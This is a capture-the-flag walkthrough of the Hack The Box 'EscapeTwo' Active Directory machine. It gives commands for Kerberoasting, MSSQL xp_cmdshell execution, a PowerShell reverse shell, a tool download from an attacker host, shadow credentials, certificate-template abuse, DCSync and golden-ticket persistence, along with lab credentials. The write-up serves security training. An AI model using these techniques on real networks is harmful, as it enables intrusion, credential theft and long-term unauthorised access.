EscapeTwo Hack The Box Walkthrough/Writeup:
How I use variables & Wordlists:
-
Variables:
- In my commands you are going to see me use
$box,$user,$hash,$domain,$passoften.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box= The IP of the box$pass= Passwords I have access to.$user= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain= the domain name e.g.sugarape.localorcontoso.local$machine= the machine name e.g.DC01
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
-
Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlistsso if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
Assumed Breach Box:
- This box scenario assumes that the Active Directory (AD) environment has already been breached and that we have access to valid credentials.
- User:
rose - Pass:
KxEPkKe6R8su
- User:
- This approach reflects a more realistic model, given that direct breaches of AD environments from external footholds are increasingly rare today.
- +Note+:
- Even with assumed credentials, I’ll still conduct my standard enumeration process as if I don’t have them.
- This ensures I don’t overlook any findings just because access is available.
- Comprehensive documentation of all discoveries remains essential.
- Even with assumed credentials, I’ll still conduct my standard enumeration process as if I don’t have them.
NMAP:
Basic Scans:
- Basic TCP Scan:
nmap $box -Pn -oA TCPbasicScankali in HTB/BlogEntriesMade/EscapeTwo/scans/nmap 🍣 main 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh 🕙 07:55:29 zsh ❯ nmap $box -Pn -oA TCPbasicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 07:56 GMT Nmap scan report for 10.129.146.182 Host is up (0.038s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Nmap done: 1 IP address (1 host up) scanned in 4.44 seconds- Initial thoughts:
- Pretty Standard affair for AD, DNS, Kerberos, RPC, LDAP but also MSSQL.
Comprehensive Scans:
-
In depth scan TCP:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in HTB/BlogEntriesMade/EscapeTwo/scans/nmap 🍣 main 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh 🕙 07:56:07 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 07:56 GMT Nmap scan report for 10.129.146.182 Host is up (0.045s latency). Not shown: 65509 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-13 07:59:29Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-info: | 10.129.146.182:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.129.146.182:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-01-13T07:53:13 |_Not valid after: 2055-01-13T07:53:13 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49686/tcp open msrpc Microsoft Windows RPC 49689/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC 49718/tcp open msrpc Microsoft Windows RPC 49737/tcp open msrpc Microsoft Windows RPC 61431/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (89%) Aggressive OS guesses: Microsoft Windows Server 2019 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-01-13T08:00:32 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: 1s, deviation: 0s, median: 0s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 258.16 seconds- Findings:
LDAP 389:
Using LDAP anonymous bind to enumerate further:
-
If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
- https://github.com/bloodstiller/ldapire
- https://bloodstiller.com/cheatsheets/ldap-cheatsheet/#ldap-boxes-on-htb
python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box -u $user -p $pass- It will dump general information & also detailed & simple information including:
- Groups
- Computers
- Users
- All domain objects
- A file containing all description fields
- It will also search the domain for any service/svc accounts and place them in a folder too.
- It will dump general information & also detailed & simple information including:
- We have the naming context of the domain:
kali in HTB/BlogEntriesMade/EscapeTwo/scans/ldap 🍣 main 1GiB/7GiB | 0B/1GiB with /usr/bin/zsh 🕙 07:58:14 zsh ❯ python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box -u $user -p $pass ------------------------------------------------------------ Server Information ------------------------------------------------------------ • IP Address : 10.129.146.182 • Domain Name : sequel.htb • Server Name : DC01 • Forest Level: 7 • Domain Level: 7
-
It turns out the anonymous bind is (+NOT+) enabled and we get the below information & our creds do not appear to work for the LDAP.
------------------------------------------------------------ Connection Attempts ------------------------------------------------------------ • Attempting SSL connection... ⚠️ Connection established but no read access • Attempting non-SSL connection... ⚠️ Connection established but no read access ------------------------------------------------------------ Connection Failed ------------------------------------------------------------ ⚠️ Could not establish LDAP connection • Anonymous bind may be disabled (good security practice) • Credentials may be incorrect • Server may be unreachable • LDAP/LDAPS ports may be filtered-
We have the domain functionality level:
• Forest Level: 7 • Domain Level: 7- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.
-
Here’s a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name & domain name:
------------------------------------------------------------ Server Information ------------------------------------------------------------ • IP Address : 10.129.146.182 • Domain Name : sequel.htb • Server Name : DC01
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
Updating ETC/HOSTS & Variables:
-
Updated Domain & Machine Variables for Testing:
- Now that I have this information, I can update the
domainandmachinevariables used in tests:update_var domain "sequel.htb" update_var machine "DC01"
- Now that I have this information, I can update the
-
Updating
/etc/hostsfor DNS and LDAP Queries:- I update my
/etc/hostsfile to enable tools like kerbrute for user enumeration and other tools that require DNS or LDAP for queries:sudo echo "$box $domain $machine.$domain $machine" | sudo tee -a /etc/hosts
- I update my
Syncing Clocks for Kerberos Exploitation:
-
Since Kerberos is enabled on this host, it’s best practice to sync our clock with the host’s. This helps avoid issues from clock misalignment, which can cause false negatives in Kerberos exploitation attempts.
sudo ntpdate -s $domain- +Note+: I am doing this now as we have the DNS name etc.
DNS 53:
-
Using dnsenum to enumerate DNS entries:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
- Nothing out of the ordinary.
Kerberos 88:
Using netexec or impacket for ASReproasting:
-
We should always try and asreproast with a null/guest session as it can lead to an easy win:
netexec ldap $box -u $user -p $pass --asreproast asrep.txt
- Nothing found.
Using netexec for Kerberoasting:
-
As we have creds we can kerberoast:
netexec ldap $box -u $user -p $pass --kerberoast kerb.txt
- Two service accounts,
ca_svc&sql_svcare kerberoastable. I am assuming that ca will be Certificate Authority.
Attempting To Crack Kerberos Tickets:
- I attempt to crack the kerberos tickets but they do not crack:
hashcat -m 13100 kerb.txt ~/Wordlists/rockyou.txt
- Lets move onto further enumeration.
Performing a Bloodhound Collection:
-
I use bloodhound-python to perform a collection.
bloodhound-python -d $domain -ns $box -c All -u $user -p $pass- I then import these into bloodhound for investigation.
Bloodhound Findings:
-
There is only 1 domain admin:
-
Standard users have DC Sync Privileges:
-
Our user has no overly permissive rights:
-
Small domain with only 8 users:
-
sql_svclooks to be a good target as it will most likely have access to the SQL server but is also a member of these groups: -
ca_svcis as suspected a member of the cert publishers group so can issue certs. We should look into using certipy-ad to enumerate the CA further.
Enumerating The CA Using Certipy-ad:
certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box
kali in content-org/Walkthroughs/HTB/BlogEntriesMade/EscapeTwo 🍣 main 3GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 08:34:09 zsh ❯ certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250113084633_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250113084633_Certipy.txt'
[*] Saved JSON output to '20250113084633_Certipy.json'
- I upload these to bloodhound but they do not work, so let’s look at he
.json
- Our current user does not have access to any vulnerable templates.
SMB 445:
Enumerating SMB shares using netexec:
netexec smb $box -u $user -p $pass --shares
- We have
READrights over the “Accounting Department” share
Enumerating the Accounting Department Share:
I connect using smbclient:
smbclient -U $domain\\$user "\\\\$box\\Accounting Department"
-
There are two spreadsheets in the share:
-
I download them both:
Reading/Extracting Usernames & Passwords From The Spreadsheets:
-
I try and open the spreadsheets using Open Office, but they appear to be cipher text:
-
Luckily
.xlsxare just file archives that contain spreadsheets. You can read more about them on this page , however the key part is this (bolding added by me)In Excel 2007, XLSX files replaced .XLS files as the standard file for saving spreadsheets in Excel. Unlike XLS files, which store spreadsheet data in a single binary file, XLSX files are saved in the Open XML format, which stores data as separate files and folders in a compressed Zip package. The archive includes the [Content_Types].xml file, which describes the spreadsheet, and an .XML file for each worksheet within the spreadsheet.
- This means we can manually extract the archive on our host to view the individual sheets contents.
Extracting the contents of the xlsx files manually:
unzip accounting_2024.xlsx
unzip accounts.xlsx
-
-
-
Reading the file “
SharedStrings.xml” from theaccounts.xlsxextraction we can see clear text passwords and emails.
Extracting the contents of the xlsx files online:
-
accounting_2024.xlsxcontent: -
accounts.xlsxcontains user credentials:
Running Hashcat again:
- I re-run hashcat with newly extracted passwords against the extracted Kerberos tickets but they do not crack.
Testing Credentials:
-
I test the newly found credentials and find that Oscars are also valid:
netexec smb $box -u Users.txt -p Passwords.txt --continue-on-success | grep [+] -
Checking Bloodhound I can see that Oscar is a member of the
Accounting Departmentgroup.
- This group does not appear to have any interesting outbound object control however it’s good to note he is part of this group for later on.
2. Foothold:
Enumerating As Oscar:
- I check what shares we have access to as Oscar & can see we have access to the
Usersshare.
netexec smb $box -u $user -p $pass --shares
Accessing The Users Share As Oscar:
-
I use smbclient to access the share.
smbclient -U $domain\\$user "\\\\$box\\Users"- I check the “Default” folder present and it appears to be a default user installation of windows:
- Some initial enumeration does not yield any results
- I check the “Default” folder present and it appears to be a default user installation of windows:
MSSQL 1433:
Enumerating The MSSQL Service:
-
I check if the retrieved SQL credentials work against the MSSQL service using netexec:
netexec mssql $box -u $user -p $pass --local-auth
- It works and we can connect.
-
Even though our name is
sawhich would indicate it is asysadminI use themssql_privto check if they are and if not to elevate it.netexec mssql $box -u $user -p $pass --local-auth -M mssql_priv
- We are a sysadmin so let’s connect and get a reverse shell.
Connecting to the MSSQL Service:
-
We can use impacket-mssqlclient to connect to the instance.
impacket-mssqlclient $user@$box:$pass -
As we are a sysadmin we can enable
xp_cmdshell
xp_cmdshell primer:
-
Core Functionality:
- Allows execution of Windows command shell (
cmd.exe) commands directly from within SQL (+RCE+) - Extended stored procedure that acts as a bridge between SQL Server and the operating system
- Returns command output as rows of text in the result set
- Limited to 8192 bytes for command strings
- Allows execution of Windows command shell (
-
Configuration Settings:
- Disabled by default since SQL Server 2005
- Restricted to
sysadminrole members only (which we are)
Enabling xp_cmdshell For RCE On The Host:
-
There are multiple ways we can enable
xp_cmdshell, I will share two. -
Manual method, from an MSSQL shell we can enter the below commands.
-- Enable advanced options sp_configure 'show advanced options', 1; RECONFIGURE; -- Enable xp_cmdshell sp_configure 'xp_cmdshell', 1; RECONFIGURE; -
Automatic method using
impacket-mssqlclientbuilt in functionality:- Luckily impacket has built in functionality to enable this.
-- Enable enable_xp_cmdshell RECONFIGURE
- Luckily impacket has built in functionality to enable this.
Using RCE VIA xp_cmdshell To Get A Reverse Shell:
-
I test a command & it works as expected. We have RCE of the underlying host.
EXEC xp_cmdshell 'dir C:\'; -- We run commands like EXEC xp_cmdshell '[Command]';
- +Important Note+: I found that
xp_cmdshellwould default to off again after a period of time so I had to re-enable it to execute commands.
- I go to revshells
and use the base64 encoded powershell example.
- I start my listener on my local host and then enter the powershell base64 encoded reverse shell as a command via
xp_cmdshell:EXEC xp_cmdshell 'powershell -e [base64ReverseShell]'
- It connects.
- I start my listener on my local host and then enter the powershell base64 encoded reverse shell as a command via
Enumerating As sql_svc:
- I check for the user flag but it is not present, so this makes me think that our target user is the user
ryanwho is also listed on this machine. Looking at their profile in Bloodhound, we can see they are part of the “Management Department” group which looks like it could be a good target.
- More importantly we can also see ryan has
WriteOwnerprivileges over theCA_SVCaccount, which means we effectively have full control over that account if we can get control of him.
-
I download winPEAs onto the host.
wget http://10.10.14.38:9000/winPEASany.exe -o peas.exe- I run it but nothing immediately jumps out.
-
I check for contents of users descriptions & info fields, incase there are any stored credentials:
Get-AdUser -Properties * -LDAPFilter '(&(objectCategory=user)(description=*))' | select samaccountname,description- +Note+: This returns only users who’s description field is not blank
Get-AdUser -Properties * -LDAPFilter '(&(objectCategory=user)(info=*))' | select samaccountname,info
- +Note+: This returns only users who’s description field is not blank
-
By manual enumeration I find the
sql_svcpassword hardcoded inC:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI
- I verify it’s valid:
- +Note+: I actually wasted a lot of times on winPEAS etc when simple manual enumeration would have gotten me here far quicker. It’s important to not become too reliant on automated tools.
Discovering Password Re-use for ryan & sql_svc:
-
I perform password spraying with the password found in the
sql-Configuration.INIfile and find that the usersql_svc&ryanboth share the same password.netexec smb $box -u Users.txt -p Passwords.txt --shares --continue-on-success
3. Lateral Movement:
Connecting As Ryan:
-
I use evil-winrm to connect as Ryan
evil-winrm -i $box -u $user -p $pass -
Lets get the user flag:
4. Privilege Escalation:
Taking Control of ca_svc:
- As
ryanwe have theWriteOwnerprivilege overCA_SVCso we effectively own the account.
WriteOwner Privilege Primer:
- If we have
WriteOwnerover a:- User:
- We can assign all rights to another account which will allow us to perform a Password Reset via a Force Change Password Attack, Targeted Kerberoasting Attack or a Shadow Credentials Attack.
- I would like to perform a targeted Kerberoasting Attack or Shadow Credentials attack, mainly as I do not like changing users passwords if I don’t have to.
- We can assign all rights to another account which will allow us to perform a Password Reset via a Force Change Password Attack, Targeted Kerberoasting Attack or a Shadow Credentials Attack.
- Group:
- We can add or remove members after we grant the new owner (which we control full privileges)
- GPO:
- We can modify it.
- GPO Attacks as well other DACL abuses (such as computer attacks).
- User:
Targeted Kerberoasting Attack Primer:
- To perform this attack we need 1 of these rights over the user:
WriteOwnerGenericAllGenericWriteWritePropertyValidated-SPNWriteProperties
- Luckily as we have
WriteOwnerwhich means we have the ability to modify object security descriptors, regardless of permissions on the object’s DACL.
+This works by doing the following:+
- Attach/generate an SPN for the user account.
- Request TGS for the user account.
- As TGS is encrypted with NTLM password hash we can then attempt to crack and overtake user account.
- Luckily targetedKerberoast does steps 1-2 automatically.
Attack Chain Attempt 1: Targeted Kerberoasting:
- Attack Chain:
- Perform a Targeted Kerberoasting Attack to get the hash of the
ca_svcuser. - Attempt to crack the hash.
- Perform a Targeted Kerberoasting Attack to get the hash of the
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user ca_svc -o ca_svc.kerb
-
-
I attempt to crack the hash but it does not crack.
Attack Chain Attempt 2: Shadow Credentials Attack:
-
I have a full article explaining how the shadow credentials attack works here:
-
Attack Chain:
- Make ourselves Owner of the
ca_svcuser account.- Using
impacket-owneredit.
- Using
- Grant ourselves full privileges over the
ca_svcaccount.- Using
impacket-dacledit.
- Using
- Perform Shadow Credentials Attack.
- Using
pywhisker.
- Using
- Use
gettgtpkinitto create a.ccache. - Use
getnthashto extract the NT has of theca_svcuser.
- Make ourselves Owner of the
-
+Note+: Some of these tools can be finicky to install. I have a post here - https://bloodstiller.com/walkthroughs/certified-box/#performing-the-shadow-credentials-attack-against-management-svc which details how to install each of the tools and issues you may face.
-
Modify ownership so
Ryanhas full control ofca_svc:impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' $domain/$user:$pass -
Grant
ryanfull privileges over the userca_svc:impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' $domain/$user:$pass -
Add shadow credentials to the
ca_svcaccount & export.PEMpython3 pywhisker.py -d $domain -u $user -p $pass --target "CA_SVC" --action "add" --filename CACert --export PEM
- Ignore the capitlization of
CA_SVCit doesn’t matter.
- Ignore the capitlization of
- +Deep Dive+: I have a deep dive on shadow credentials available here if you want to the how behind this attack vector:
-
Requesting a TGT for
ca_svcwith PKINITtools getgtgkinit- Now we perform the same process again to be able to extract their hash by using the
.pemfiles we have retrieved to export a.ccachewe can authenticate with.python3 /home/kali/windowsTools/PKINITtools/gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem $domain/ca_svc ca_svc.ccache
- Now we perform the same process again to be able to extract their hash by using the
-
Next we will load the
.ccacheinto ourKRB5CCNAMEvariable as we will need this for next step:export KRB5CCNAME=./ca_svc.ccache -
Requesting the
ca_svcuser hash with PKINITtoolsgetnthash:- Extract the NTHash for the
ca_svcuser:python3 /home/kali/windowsTools/PKINITtools/getnthash.py -key 431c[SNIP]6aee9c22ff3391d9 $domain/CA_SVC
- Extract the NTHash for the
-
- We now have the
ca_svcusers NT hash.
- We now have the
-
Verify the hash is valid:
- We now own the
ca_svcuser.
Re-running Certipy As ca_svc:
- As we are in control of
ca_svclet’s re-check if we have access to any vulnerable certificates to privesc:
certipy-ad find -vulnerable -u $user@$domain -hashes :$hash -dc-ip $box
-
-
So we can see there is a vulnerable cert available:
DunderMifflinAuthenticationand it’s vulnerable to the ESC4 attack vector. As we are part of theCert Publishersgroup we can perform this attack:
Performing ESC4 Certificate Attack To Get An Admin Certificate:
- Checking the certipy git repo it details what we need to do to perform this attack.
-
https://github.com/ly4k/Certipy?tab=readme-ov-file#esc4
ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
- So we effectively perform an ESC1 attack by overwriting the template.
-
-
Backup original cert:
- As we overwrite the cert to perform this attack I will make a backup.
certipy template -username ca_svc@$domain -hashes :$hash -template DunderMifflinAuthentication -save-old
- As we overwrite the cert to perform this attack I will make a backup.
-
Perform ESC1 attack on the cert:
-
We can specify an arbitrary SAN with the
-upnor-dnsparameter.-
This is the correct command, however read the section below if you get a DNS error.
ertipy req -username ca_svc@$domain -hashes :$hash -ca sequel-DC01-CA -target $machine.$domain -template DunderMifflinAuthentication -upn administrator@$domain -ns $box
-
-
+Troubleshooting+: If you get the error
CERTSRV_E_SUBJECT_DNS_REQUIRED:
- I got this error a lot and went down rabbit holes trying to fix it. Whereas it actually seems to be down to some sort cleanup script running on the host.
- How to get it working:
- I was able to get it working by quickly chaining step 1 (Backup Script) & 2 (ESC1 Attack)
- If you look at the time stamp you can see that I had to run these 7 seconds apart to get the attack chain to work.
- I was able to get it working by quickly chaining step 1 (Backup Script) & 2 (ESC1 Attack)
-
-
Authenticate as the Administrator using the certificate:
- Now we authenticate with the certificate, to receive the NT hash of the Administrator user:
certipy-ad auth -pfx administrator.pfx -domain $domain
- Now we authenticate with the certificate, to receive the NT hash of the Administrator user:
-
Verify it works:
-
Using evil-winrm
evil-winrm -i $box -u administrator -H $hash -
Using the
.ccache#Load the .ccache into the KRB5CCNAME var export KRB5CCNAME=./administrator.ccache #Use impacket-psexec impacket-psexec -k -no-pass $machine.$domain
- I knew it work but always better to validate.
-
-
Lets get the root flag:
5. Persistence:
-
You may be wondering why we would look at persistence if we already have a valid administrator certificate. However if we examine the expiration time on the cert we can see its only valid for 10 hours.
klist -
So instead I will dump the
NTDS.dit& create a golden ticket for good measure.
Dumping NTDS.dit/DCSync attack:
-
Perform DCSync attack using netexec:
netexec smb $box -u administrator --use-kcache -M ntdsutil -
Extract all hashes from netexec
for file in /home/kali/.nxc/logs/*.ntds; do cat "$file" | cut -d ':' -f1,2,4 --output-delimiter=' ' | awk '{print $3, $2, $1}'; printf '\n'; done
Creating a Kerberos Golden Ticket:
-
Using
impacket-lookupsidto get the Search for the Domain SID:impacket-lookupsid $domain/$user@$machine.$domain -domain-sids -k -no-pass
- I store this in the variable
$sid
-
Using
impacket-secretsdumpto retrieve theaeskeyof thekrbtgtaccount:impacket-secretsdump $domain/$user@$box -hashes :$hash
- I store
krbtgt:aes256value in the variable$krbtgt
-
Sync our clock to the host using ntpdate:
#Using ntpdate sudo ntpdate -s $domain #Using faketime faketime "$(ntpdate -q $domain | cut -d ' ' -f 1,2)" -
Using
impacket-ticketerto create the Golden Ticket:#Using -aeskey impacket-ticketer -aesKey $krbtgt -domain-sid $sid -domain $domain Administrator -
Export the ticket to the
KRB5CCNAMEVariable:export KRB5CCNAME=./Administrator.ccache -
Verify the ticket is loaded into memory:
klist
- As we can see this ticket lasts for 10 years, which is better than 10 hours.
-
Use the ticket for connecting via
psexecimpacket-psexec -k -no-pass $machine.$domain
Why create a golden ticket?
- “But bloodstiller why are you making a golden ticket if you have the admin hash?” Glad you asked:
- Creating a Golden Ticket during an engagement is a reliable way to maintain access over the long haul. Here’s why:
KRBTGTHash Dependence:- Golden Tickets are generated using the
KRBTGTaccount hash from the target’s domain controller. - Unlike user account passwords,
KRBTGThashes are rarely rotated (and in many organizations, +they are never changed+), so in most cases the Golden Ticket remains valid indefinitely.
- Golden Tickets are generated using the
KRBTGTHash—The Key to It All (for upto 10 years):- A Golden Ticket can allow you to maintain access to a system for up to 10 years (yeah, you read that right the default lifespan of a golden ticket is 10 years) without needing additional credentials.
- This makes it a reliable backdoor, especially if re-access is needed long after initial entry.
- Think about it: even if they reset every user’s password (including the administrator etc) your Golden Ticket is still valid because it’s tied to the
KRBTGTaccount, not individual users.
Lessons Learned:
What did I learn?
- Stop jumping to flashy techniques when you havent’ even performed basic enumeration just yet. (Finding password re-use in a file)
- I learned that even though I know the attack path if someone has put a cleanup script in place it will cause me to go down a rabbit hole, it’s one of the few times where faster is better.
What silly mistakes did I make?
- using \\ on http request e.g
http:\\DAMN YOU WINDOWS and your backslashes.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
– Bloodstiller
– Get in touch bloodstiller at bloodstiller dot com